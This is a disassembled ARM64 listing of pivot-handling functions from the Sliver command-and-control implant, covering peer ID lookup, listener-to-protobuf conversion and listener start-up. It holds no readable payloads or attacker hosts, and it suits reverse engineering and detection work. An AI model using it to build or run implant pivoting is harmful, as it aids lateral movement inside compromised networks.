    0042bf70github.com/bishopfox/sliver/implant/sliver/pivots.findNextPeerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.findNextPeerID(github.com/bishopfox/sliver/protobuf/sliverpb.PivotPeerEnvelope * pivotPeerEnvelope)
    0042bf70ldr x16, [x28+16]
    0042bf74subs xzr, sp, x16
    0042bf78b.ls 0x42c0d4
    0042bf7cstr x30, [sp-128]!
    0042bf80stur x29, [sp-8]
    0042bf84sub x29, sp, 8
    0042bf88str x0, [sp+136]
    0042bf8cstr xzr, [sp+24]
    0042bf90stp xzr, xzr, [sp+56]
    0042bf94ldr x3, [sp+136]
    0042bf98ldrsb x27, [x3]
    0042bf9cldr x4, [x3+16]
    0042bfa0ldr x5, [x3+8]
    0042bfa4ldr x3, [x3+24]
    0042bfa8str x5, [sp+96]
    0042bfacstr x4, [sp+104]
    0042bfb0str x3, [sp+112]
    0042bfb4str xzr, [sp+48]
    0042bfb8str x4, [sp+40]
    0042bfbcb 0x42bfc0
    0042bfc0
    0042bfc0loc_42bfc0:
    0042bfc0ldr x3, [sp+40]
    0042bfc4ldr x4, [sp+48]
    0042bfc8subs xzr, x3, x4
    0042bfccb.gt 0x42bfd4
    0042bfd0b 0x42c084
    0042bfd4
    0042bfd4loc_42bfd4:
    0042bfd4ldr x3, [sp+48]
    0042bfd8str x3, [sp+32]
    0042bfdcldr x3, [sp+48]
    0042bfe0ldr x4, [sp+96]
    0042bfe4ldr x3, [x4+3*x3]
    0042bfe8str x3, [sp+72]
    0042bfecldrsb x27, [x3]
    0042bff0ldr x3, [x3+8]
    0042bff4adrp x27, 0x620000
    0042bff8ldr x4, [x27+2144]
    0042bffcsubs xzr, x4, x3
    0042c000b.eq 0x42c008
    0042c004b 0x42c06c
    0042c008
    0042c008loc_42c008:
    0042c008ldr x3, [sp+32]
    0042c00csub x3, x3, 1
    0042c010tbz x3, 63, 0x42c018
    0042c014b 0x42c068
    0042c018
    0042c018loc_42c018:
    0042c018ldr x3, [sp+136]
    0042c01cldrsb x27, [x3]
    0042c020ldr x1, [x3+16]
    0042c024ldr x3, [x3+8]
    0042c028ldr x4, [sp+32]
    0042c02csub x0, x4, 1
    0042c030subs xzr, x1, x0
    0042c034b.hi 0x42c03c
    0042c038b 0x42c0cc
    0042c03c
    0042c03cloc_42c03c:
    0042c03cldr x3, [x3+3*x0]
    0042c040ldrsb x27, [x3]
    0042c044ldr x3, [x3+8]
    0042c048str x3, [sp+24]
    0042c04cstp xzr, xzr, [sp+56]
    0042c050ldr x0, [sp+24]
    0042c054mov x1, xzr
    0042c058mov x2, xzr
    0042c05cldur x29, [sp-8]
    0042c060ldr x30, [sp], 128
    0042c064ret x30
    0042c068
    0042c068loc_42c068:
    0042c068b 0x42c070
    0042c06c
    0042c06cloc_42c06c:
    0042c06cb 0x42c070
    0042c070
    0042c070loc_42c070:
    0042c070b 0x42c074
    0042c074
    0042c074loc_42c074:
    0042c074ldr x3, [sp+48]
    0042c078add x3, x3, 1
    0042c07cstr x3, [sp+48]
    0042c080b 0x42bfc0
    0042c084
    0042c084loc_42c084:
    0042c084adrp x0, 0x28a000
    0042c088add x0, x0, 529
    0042c08cmovz x1, 19
    0042c090bl errors.New
    0042c094str x0, [sp+80]
    0042c098str x1, [sp+88]
    0042c09cstr xzr, [sp+24]
    0042c0a0str x0, [sp+56]
    0042c0a4str x1, [sp+64]
    0042c0a8ldr x2, [sp+24]
    0042c0acmov x3, x0
    0042c0b0mov x0, x2
    0042c0b4mov x4, x1
    0042c0b8mov x1, x3
    0042c0bcmov x2, x4
    0042c0c0ldur x29, [sp-8]
    0042c0c4ldr x30, [sp], 128
    0042c0c8ret x30
    0042c0cc
    0042c0ccloc_42c0cc:
    0042c0ccbl runtime.panicIndex
    0042c0d0hint
    0042c0d4
    0042c0d4loc_42c0d4:
    0042c0d4str x0, [sp+8]
    0042c0d8mov x3, x30
    0042c0dcbl runtime.morestack_noctxt.abi0
    0042c0e0ldr x0, [sp+8]
    0042c0e4b 0x42bf70
    0042c0e8udf 0
    0042c0ecudf 0
    0042bf70
    0042c0f0
    0042c0f0github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * l)
    0042c0f0ldr x16, [x28+16]
    0042c0f4sub x17, sp, 32
    0042c0f8subs xzr, x17, x16
    0042c0fcb.ls 0x42c2cc
    0042c100str x30, [sp-160]!
    0042c104stur x29, [sp-8]
    0042c108sub x29, sp, 8
    0042c10cstr x0, [sp+168]
    0042c110str xzr, [sp+40]
    0042c114adrp x2, 0x61f000
    0042c118add x2, x2, 1504
    0042c11cstr x2, [sp+104]
    0042c120b 0x42c124
    0042c124
    0042c124loc_42c124:
    0042c124str x2, [sp+112]
    0042c128stp xzr, xzr, [sp+120]
    0042c12cstr x2, [sp+48]
    0042c130stp xzr, xzr, [sp+56]
    0042c134stp xzr, xzr, [sp+136]
    0042c138add x2, sp, 136
    0042c13cstr x2, [sp+96]
    0042c140ldrsb x27, [x2]
    0042c144adrp x3, 0
    0042c148add x3, x3, 736
    0042c14cstr x3, [x2]
    0042c150ldrsb x27, [x2]
    0042c154adrp x27, 0x61f000
    0042c158ldr w3, [x27+3056]
    0042c15ccbz w3, 0x42c164
    0042c160b 0x42c168
    0042c164
    0042c164loc_42c164:
    0042c164b 0x42c180
    0042c168
    0042c168loc_42c168:
    0042c168bl runtime.gcWriteBarrier2
    0042c16cadd x3, sp, 48
    0042c170str x3, [x25]
    0042c174ldr x4, [x2+8]
    0042c178str x4, [x25+8]
    0042c17cb 0x42c180
    0042c180
    0042c180loc_42c180:
    0042c180add x3, sp, 48
    0042c184str x3, [x2+8]
    0042c188ldr x2, [sp+168]
    0042c18cldrsb x27, [x2]
    0042c190ldr x0, [x2+24]
    0042c194str x0, [sp+88]
    0042c198ldr x1, [sp+96]
    0042c19cbl sync.(*Map).Range
    0042c1a0adrp x0, 0x25e000
    0042c1a4add x0, x0, 736
    0042c1a8bl runtime.newobject
    0042c1acstr x0, [sp+80]
    0042c1b0adrp x27, 0x61f000
    0042c1b4ldr w2, [x27+3056]
    0042c1b8cbz w2, 0x42c1c0
    0042c1bcb 0x42c1c4
    0042c1c0
    0042c1c0loc_42c1c0:
    0042c1c0b 0x42c1e0
    0042c1c4
    0042c1c4loc_42c1c4:
    0042c1c4str x0, [sp+72]
    0042c1c8mov x1, x0
    0042c1ccadrp x0, 0x25e000
    0042c1d0add x0, x0, 736
    0042c1d4bl runtime.wbZero
    0042c1d8ldr x0, [sp+72]
    0042c1dcb 0x42c1e0
    0042c1e0
    0042c1e0loc_42c1e0:
    0042c1e0mov x20, x0
    0042c1e4adr x27, 16
    0042c1e8stp x29, x27, [sp-24]
    0042c1ecsub x29, sp, 24
    0042c1f0bl fn_87cf8
    0042c1f4sub x29, sp, 8
    0042c1f8ldr x1, [sp+80]
    0042c1fcldrsb x27, [x1]
    0042c200ldr x2, [sp+168]
    0042c204ldrsb x27, [x2]
    0042c208ldr w2, [x2]
    0042c20cstr w2, [x1+8]
    0042c210ldr x1, [sp+80]
    0042c214ldrsb x27, [x1]
    0042c218ldr x2, [sp+168]
    0042c21cldrsb x27, [x2]
    0042c220ldrsw x2, [x2+4]
    0042c224str w2, [x1+12]
    0042c228ldr x1, [sp+80]
    0042c22cldrsb x27, [x1]
    0042c230ldr x2, [sp+168]
    0042c234ldrsb x27, [x2]
    0042c238ldr x3, [x2+32]
    0042c23cldr x2, [x2+40]
    0042c240str x2, [x1+24]
    0042c244adrp x27, 0x61f000
    0042c248ldr w2, [x27+3056]
    0042c24ccbz w2, 0x42c254
    0042c250b 0x42c258
    0042c254
    0042c254loc_42c254:
    0042c254b 0x42c26c
    0042c258
    0042c258loc_42c258:
    0042c258bl runtime.gcWriteBarrier2
    0042c25cstr x3, [x25]
    0042c260ldr x2, [x1+16]
    0042c264str x2, [x25+8]
    0042c268b 0x42c26c
    0042c26c
    0042c26cloc_42c26c:
    0042c26cstr x3, [x1+16]
    0042c270ldr x1, [sp+80]
    0042c274ldrsb x27, [x1]
    0042c278ldr x2, [sp+48]
    0042c27cldr x3, [sp+56]
    0042c280ldr x4, [sp+64]
    0042c284str x3, [x1+40]
    0042c288str x4, [x1+48]
    0042c28cadrp x27, 0x61f000
    0042c290ldr w3, [x27+3056]
    0042c294cbz w3, 0x42c29c
    0042c298b 0x42c2a0
    0042c29c
    0042c29cloc_42c29c:
    0042c29cb 0x42c2b4
    0042c2a0
    0042c2a0loc_42c2a0:
    0042c2a0bl runtime.gcWriteBarrier2
    0042c2a4str x2, [x25]
    0042c2a8ldr x3, [x1+32]
    0042c2acstr x3, [x25+8]
    0042c2b0b 0x42c2b4
    0042c2b4
    0042c2b4loc_42c2b4:
    0042c2b4str x2, [x1+32]
    0042c2b8ldr x0, [sp+80]
    0042c2bcstr x0, [sp+40]
    0042c2c0ldur x29, [sp-8]
    0042c2c4ldr x30, [sp], 160
    0042c2c8ret x30
    0042c2cc
    0042c2ccloc_42c2cc:
    0042c2ccstr x0, [sp+8]
    0042c2d0mov x3, x30
    0042c2d4bl runtime.morestack_noctxt.abi0
    0042c2d8ldr x0, [sp+8]
    0042c2dcb 0x42c0f0
    0042c0f0
    0042c2e0
    0042c2e0github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf.func1(interface {} key, interface {} value)
    0042c2e0ldr x16, [x28+16]
    0042c2e4subs xzr, sp, x16
    0042c2e8b.ls 0x42c408
    0042c2ecstr x30, [sp-128]!
    0042c2f0stur x29, [sp-8]
    0042c2f4sub x29, sp, 8
    0042c2f8str x0, [sp+136]
    0042c2fcstr x1, [sp+144]
    0042c300str x2, [sp+152]
    0042c304str x3, [sp+160]
    0042c308ldr x3, [x26+8]
    0042c30cstr x3, [sp+112]
    0042c310strb wzr, [sp+95]
    0042c314ldr x0, [sp+152]
    0042c318ldr x3, [sp+160]
    0042c31cadrp x1, 0x254000
    0042c320add x1, x1, 2080
    0042c324subs xzr, x0, x1
    0042c328b.eq 0x42c330
    0042c32cb 0x42c3f8
    0042c330
    0042c330loc_42c330:
    0042c330str x3, [sp+96]
    0042c334mov x0, x3
    0042c338bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).ToProtobuf
    0042c33cstr x0, [sp+104]
    0042c340ldr x1, [sp+112]
    0042c344ldr x2, [x1+16]
    0042c348ldr x0, [x1]
    0042c34cldr x1, [x1+8]
    0042c350add x1, x1, 1
    0042c354subs xzr, x2, x1
    0042c358b.hs 0x42c360
    0042c35cb 0x42c364
    0042c360
    0042c360loc_42c360:
    0042c360b 0x42c378
    0042c364
    0042c364loc_42c364:
    0042c364orr x3, xzr, 1
    0042c368adrp x4, 0x232000
    0042c36cadd x4, x4, 2208
    0042c370bl runtime.growslice
    0042c374b 0x42c378
    0042c378
    0042c378loc_42c378:
    0042c378sub x3, x1, 1
    0042c37cldr x4, [sp+104]
    0042c380adrp x27, 0x61f000
    0042c384ldr w5, [x27+3056]
    0042c388cbz w5, 0x42c390
    0042c38cb 0x42c394
    0042c390
    0042c390loc_42c390:
    0042c390b 0x42c3a8
    0042c394
    0042c394loc_42c394:
    0042c394bl runtime.gcWriteBarrier2
    0042c398str x4, [x25]
    0042c39cldr x5, [x0+3*x3]
    0042c3a0str x5, [x25+8]
    0042c3a4b 0x42c3a8
    0042c3a8
    0042c3a8loc_42c3a8:
    0042c3a8str x4, [x0+3*x3]
    0042c3acldr x3, [sp+112]
    0042c3b0str x1, [x3+8]
    0042c3b4str x2, [x3+16]
    0042c3b8adrp x27, 0x61f000
    0042c3bcldr w1, [x27+3056]
    0042c3c0cbz w1, 0x42c3c8
    0042c3c4b 0x42c3cc
    0042c3c8
    0042c3c8loc_42c3c8:
    0042c3c8b 0x42c3e0
    0042c3cc
    0042c3ccloc_42c3cc:
    0042c3ccbl runtime.gcWriteBarrier2
    0042c3d0str x0, [x25]
    0042c3d4ldr x1, [x3]
    0042c3d8str x1, [x25+8]
    0042c3dcb 0x42c3e0
    0042c3e0
    0042c3e0loc_42c3e0:
    0042c3e0str x0, [x3]
    0042c3e4orr x0, xzr, 1
    0042c3e8strb w0, [sp+95]
    0042c3ecldur x29, [sp-8]
    0042c3f0ldr x30, [sp], 128
    0042c3f4ret x30
    0042c3f8
    0042c3f8loc_42c3f8:
    0042c3f8adrp x2, 0x1de000
    0042c3fcadd x2, x2, 3520
    0042c400bl runtime.panicdottypeE
    0042c404hint
    0042c408
    0042c408loc_42c408:
    0042c408stp x0, x1, [sp+8]
    0042c40cstp x2, x3, [sp+24]
    0042c410mov x3, x30
    0042c414bl runtime.morestack.abi0
    0042c418ldp x0, x1, [sp+8]
    0042c41cldp x2, x3, [sp+24]
    0042c420b 0x42c2e0
    0042c424udf 0
    0042c428udf 0
    0042c42cudf 0
    0042c2e0
    0042c430
    0042c430github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * p)
    0042c430ldr x16, [x28+16]
    0042c434sub x17, sp, 176
    0042c438subs xzr, x17, x16
    0042c43cb.ls 0x42c838
    0042c440sub x20, sp, 304
    0042c444stp x29, x30, [x20-8]
    0042c448add sp, x20, 0
    0042c44csub x29, sp, 8
    0042c450str x0, [sp+312]
    0042c454b 0x42c458
    0042c458
    0042c458loc_42c458:
    0042c458b 0x42c45c
    0042c45c
    0042c45cloc_42c45c:
    0042c45cstp xzr, xzr, [sp+112]
    0042c460stp xzr, xzr, [sp+96]
    0042c464ldr x1, [sp+312]
    0042c468ldrsb x27, [x1]
    0042c46cldr x2, [x1+8]
    0042c470ldrsb x27, [x2]
    0042c474ldr x0, [x1+16]
    0042c478ldr x1, [x2+24]
    0042c47cblr x1
    0042c480str x0, [sp+112]
    0042c484str x1, [sp+120]
    0042c488str x2, [sp+96]
    0042c48cstr x3, [sp+104]
    0042c490ldr x1, [sp+112]
    0042c494ldr x2, [sp+120]
    0042c498str x1, [sp+160]
    0042c49cstr x2, [sp+168]
    0042c4a0ldr x1, [sp+96]
    0042c4a4ldr x2, [sp+104]
    0042c4a8str x1, [sp+144]
    0042c4acstr x2, [sp+152]
    0042c4b0ldr x1, [sp+160]
    0042c4b4ldr x2, [sp+168]
    0042c4b8str x1, [sp+80]
    0042c4bcstr x2, [sp+88]
    0042c4c0ldr x1, [sp+152]
    0042c4c4ldr x2, [sp+144]
    0042c4c8str x2, [sp+64]
    0042c4ccstr x1, [sp+72]
    0042c4d0cbnz x2, 0x42c4d8
    0042c4d4b 0x42c594
    0042c4d8
    0042c4d8loc_42c4d8:
    0042c4d8stp xzr, xzr, [sp+280]
    0042c4dcadd x5, sp, 280
    0042c4e0str x5, [sp+240]
    0042c4e4ldr x5, [sp+64]
    0042c4e8ldr x6, [sp+72]
    0042c4ecstr x5, [sp+224]
    0042c4f0str x6, [sp+232]
    0042c4f4str x5, [sp+216]
    0042c4f8ldr x5, [sp+216]
    0042c4fccbnz x5, 0x42c504
    0042c500b 0x42c514
    0042c504
    0042c504loc_42c504:
    0042c504ldr x5, [sp+216]
    0042c508ldr x5, [x5+8]
    0042c50cstr x5, [sp+216]
    0042c510b 0x42c518
    0042c514
    0042c514loc_42c514:
    0042c514b 0x42c518
    0042c518
    0042c518loc_42c518:
    0042c518ldr x5, [sp+240]
    0042c51cldrsb x27, [x5]
    0042c520ldr x6, [sp+216]
    0042c524ldr x7, [sp+232]
    0042c528str x6, [x5]
    0042c52cadrp x27, 0x61f000
    0042c530ldr w6, [x27+3056]
    0042c534cbz w6, 0x42c53c
    0042c538b 0x42c540
    0042c53c
    0042c53cloc_42c53c:
    0042c53cb 0x42c554
    0042c540
    0042c540loc_42c540:
    0042c540bl runtime.gcWriteBarrier2
    0042c544str x7, [x25]
    0042c548ldr x6, [x5+8]
    0042c54cstr x6, [x25+8]
    0042c550b 0x42c554
    0042c554
    0042c554loc_42c554:
    0042c554str x7, [x5+8]
    0042c558ldr x2, [sp+240]
    0042c55cldrsb x27, [x2]
    0042c560b 0x42c564
    0042c564
    0042c564loc_42c564:
    0042c564str x2, [sp+248]
    0042c568orr x4, xzr, 1
    0042c56cstr x4, [sp+256]
    0042c570str x4, [sp+264]
    0042c574adrp x0, 0x28f000
    0042c578add x0, x0, 2648
    0042c57corr x1, xzr, 28
    0042c580mov x3, x4
    0042c584bl log.Printf
    0042c588ldp x29, x30, [sp-8]
    0042c58cadd sp, sp, 304
    0042c590ret x30
    0042c594
    0042c594loc_42c594:
    0042c594adrp x0, 0x1ca000
    0042c598add x0, x0, 3968
    0042c59cmov x1, xzr
    0042c5a0bl runtime.makechan
    0042c5a4str x0, [sp+272]
    0042c5a8adrp x0, 0x261000
    0042c5acadd x0, x0, 1792
    0042c5b0bl runtime.newobject
    0042c5b4str x0, [sp+208]
    0042c5b8adrp x27, 0x61f000
    0042c5bcldr w2, [x27+3056]
    0042c5c0cbz w2, 0x42c5c8
    0042c5c4b 0x42c5cc
    0042c5c8
    0042c5c8loc_42c5c8:
    0042c5c8b 0x42c5e8
    0042c5cc
    0042c5ccloc_42c5cc:
    0042c5ccstr x0, [sp+176]
    0042c5d0mov x1, x0
    0042c5d4adrp x0, 0x261000
    0042c5d8add x0, x0, 1792
    0042c5dcbl runtime.wbZero
    0042c5e0ldr x0, [sp+176]
    0042c5e4b 0x42c5e8
    0042c5e8
    0042c5e8loc_42c5e8:
    0042c5e8mov x20, x0
    0042c5ecadr x27, 16
    0042c5f0stp x29, x27, [sp-24]
    0042c5f4sub x29, sp, 24
    0042c5f8bl fn_87cfc
    0042c5fcsub x29, sp, 8
    0042c600ldr x1, [sp+208]
    0042c604ldrsb x27, [x1]
    0042c608ldr x2, [sp+88]
    0042c60cldr x3, [sp+80]
    0042c610str x3, [x1+8]
    0042c614adrp x27, 0x61f000
    0042c618ldr w3, [x27+3056]
    0042c61ccbz w3, 0x42c624
    0042c620b 0x42c628
    0042c624
    0042c624loc_42c624:
    0042c624b 0x42c63c
    0042c628
    0042c628loc_42c628:
    0042c628bl runtime.gcWriteBarrier2
    0042c62cstr x2, [x25]
    0042c630ldr x3, [x1+16]
    0042c634str x3, [x25+8]
    0042c638b 0x42c63c
    0042c63c
    0042c63cloc_42c63c:
    0042c63cstr x2, [x1+16]
    0042c640adrp x0, 0x214000
    0042c644add x0, x0, 1184
    0042c648bl runtime.newobject
    0042c64cstr x0, [sp+200]
    0042c650str wzr, [x0]
    0042c654str wzr, [x0+4]
    0042c658ldr x1, [sp+208]
    0042c65cldrsb x27, [x1]
    0042c660ldr x2, [sp+200]
    0042c664adrp x27, 0x61f000
    0042c668ldr w3, [x27+3056]
    0042c66ccbz w3, 0x42c674
    0042c670b 0x42c678
    0042c674
    0042c674loc_42c674:
    0042c674b 0x42c68c
    0042c678
    0042c678loc_42c678:
    0042c678bl runtime.gcWriteBarrier2
    0042c67cstr x2, [x25]
    0042c680ldr x3, [x1+24]
    0042c684str x3, [x25+8]
    0042c688b 0x42c68c
    0042c68c
    0042c68cloc_42c68c:
    0042c68cstr x2, [x1+24]
    0042c690adrp x0, 0x214000
    0042c694add x0, x0, 1184
    0042c698bl runtime.newobject
    0042c69cstr x0, [sp+192]
    0042c6a0str wzr, [x0]
    0042c6a4str wzr, [x0+4]
    0042c6a8ldr x1, [sp+208]
    0042c6acldrsb x27, [x1]
    0042c6b0ldr x2, [sp+192]
    0042c6b4adrp x27, 0x61f000
    0042c6b8ldr w3, [x27+3056]
    0042c6bccbz w3, 0x42c6c4
    0042c6c0b 0x42c6c8
    0042c6c4
    0042c6c4loc_42c6c4:
    0042c6c4b 0x42c6dc
    0042c6c8
    0042c6c8loc_42c6c8:
    0042c6c8bl runtime.gcWriteBarrier2
    0042c6ccstr x2, [x25]
    0042c6d0ldr x3, [x1+32]
    0042c6d4str x3, [x25+8]
    0042c6d8b 0x42c6dc
    0042c6dc
    0042c6dcloc_42c6dc:
    0042c6dcstr x2, [x1+32]
    0042c6e0ldr x1, [sp+208]
    0042c6e4ldrsb x27, [x1]
    0042c6e8adrp x27, 0x594000
    0042c6ecldr x2, [x27+1744]
    0042c6f0str x2, [x1+48]
    0042c6f4ldr x1, [sp+208]
    0042c6f8ldrsb x27, [x1]
    0042c6fcadrp x27, 0x594000
    0042c700ldr x2, [x27+1752]
    0042c704str x2, [x1+56]
    0042c708ldr x1, [sp+208]
    0042c70cldrsb x27, [x1]
    0042c710ldr x2, [sp+312]
    0042c714ldrsb x27, [x2]
    0042c718ldr x2, [x2+48]
    0042c71cadrp x27, 0x61f000
    0042c720ldr w3, [x27+3056]
    0042c724cbz w3, 0x42c72c
    0042c728b 0x42c730
    0042c72c
    0042c72cloc_42c72c:
    0042c72cb 0x42c744
    0042c730
    0042c730loc_42c730:
    0042c730bl runtime.gcWriteBarrier2
    0042c734str x2, [x25]
    0042c738ldr x3, [x1+64]
    0042c73cstr x3, [x25+8]
    0042c740b 0x42c744
    0042c744
    0042c744loc_42c744:
    0042c744str x2, [x1+64]
    0042c748ldr x1, [sp+208]
    0042c74cldrsb x27, [x1]
    0042c750ldr x2, [sp+272]
    0042c754adrp x27, 0x61f000
    0042c758ldr w3, [x27+3056]
    0042c75ccbz w3, 0x42c764
    0042c760b 0x42c768
    0042c764
    0042c764loc_42c764:
    0042c764b 0x42c77c
    0042c768
    0042c768loc_42c768:
    0042c768bl runtime.gcWriteBarrier2
    0042c76cstr x2, [x25]
    0042c770ldr x3, [x1+72]
    0042c774str x3, [x25+8]
    0042c778b 0x42c77c
    0042c77c
    0042c77cloc_42c77c:
    0042c77cstr x2, [x1+72]
    0042c780ldr x1, [sp+208]
    0042c784str x1, [sp+56]
    0042c788str x1, [sp+136]
    0042c78cldr x1, [sp+312]
    0042c790ldrsb x27, [x1]
    0042c794ldr x1, [x1+24]
    0042c798str x1, [sp+128]
    0042c79cadrp x0, 0x21f000
    0042c7a0add x0, x0, 2496
    0042c7a4bl runtime.newobject
    0042c7a8str x0, [sp+184]
    0042c7acadrp x1, 0
    0042c7b0add x1, x1, 2128
    0042c7b4str x1, [x0]
    0042c7b8ldr x1, [sp+136]
    0042c7bcldr x2, [sp+184]
    0042c7c0ldrsb x27, [x2]
    0042c7c4adrp x27, 0x61f000
    0042c7c8ldr w3, [x27+3056]
    0042c7cccbz w3, 0x42c7d4
    0042c7d0b 0x42c7d8
    0042c7d4
    0042c7d4loc_42c7d4:
    0042c7d4b 0x42c7ec
    0042c7d8
    0042c7d8loc_42c7d8:
    0042c7d8bl runtime.gcWriteBarrier2
    0042c7dcstr x1, [x25]
    0042c7e0ldr x3, [x2+8]
    0042c7e4str x3, [x25+8]
    0042c7e8b 0x42c7ec
    0042c7ec
    0042c7ecloc_42c7ec:
    0042c7ecstr x1, [x2+8]
    0042c7f0ldr x1, [sp+128]
    0042c7f4ldr x2, [sp+184]
    0042c7f8ldrsb x27, [x2]
    0042c7fcadrp x27, 0x61f000
    0042c800ldr w3, [x27+3056]
    0042c804cbz w3, 0x42c80c
    0042c808b 0x42c810
    0042c80c
    0042c80cloc_42c80c:
    0042c80cb 0x42c824
    0042c810
    0042c810loc_42c810:
    0042c810bl runtime.gcWriteBarrier2
    0042c814str x1, [x25]
    0042c818ldr x3, [x2+16]
    0042c81cstr x3, [x25+8]
    0042c820b 0x42c824
    0042c824
    0042c824loc_42c824:
    0042c824str x1, [x2+16]
    0042c828ldr x0, [sp+184]
    0042c82cbl runtime.newproc
    0042c830b 0x42c834
    0042c834
    0042c834loc_42c834:
    0042c834b 0x42c458
    0042c838
    0042c838loc_42c838:
    0042c838str x0, [sp+8]
    0042c83cmov x3, x30
    0042c840bl runtime.morestack_noctxt.abi0
    0042c844ldr x0, [sp+8]
    0042c848b 0x42c430
    0042c84cudf 0
    0042c430
    0042c850
    0042c850github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start.gowrap1(void)
    0042c850ldr x16, [x28+16]
    0042c854subs xzr, sp, x16
    0042c858b.ls 0x42c894
    0042c85cstr x30, [sp-48]!
    0042c860stur x29, [sp-8]
    0042c864sub x29, sp, 8
    0042c868ldr x16, [x28+32]
    0042c86ccbnz x16, 0x42c8a0
    0042c870
    0042c870loc_42c870:
    0042c870ldr x2, [x26+8]
    0042c874str x2, [sp+32]
    0042c878ldr x1, [x26+16]
    0042c87cstr x1, [sp+24]
    0042c880ldr x0, [sp+32]
    0042c884bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start
    0042c888ldur x29, [sp-8]
    0042c88cldr x30, [sp], 48
    0042c890ret x30
    0042c894
    0042c894loc_42c894:
    0042c894mov x3, x30
    0042c898bl runtime.morestack.abi0
    0042c89cb 0x42c850
    0042c8a0
    0042c8a0loc_42c8a0:
    0042c8a0ldr x17, [x16]
    0042c8a4add x20, sp, 56
    0042c8a8subs xzr, x20, x17
    0042c8acb.ne 0x42c870
    0042c8b0add x20, sp, 8
    0042c8b4str x20, [x16]
    0042c8b8b 0x42c870
    0042c8bcudf 0
    0042c850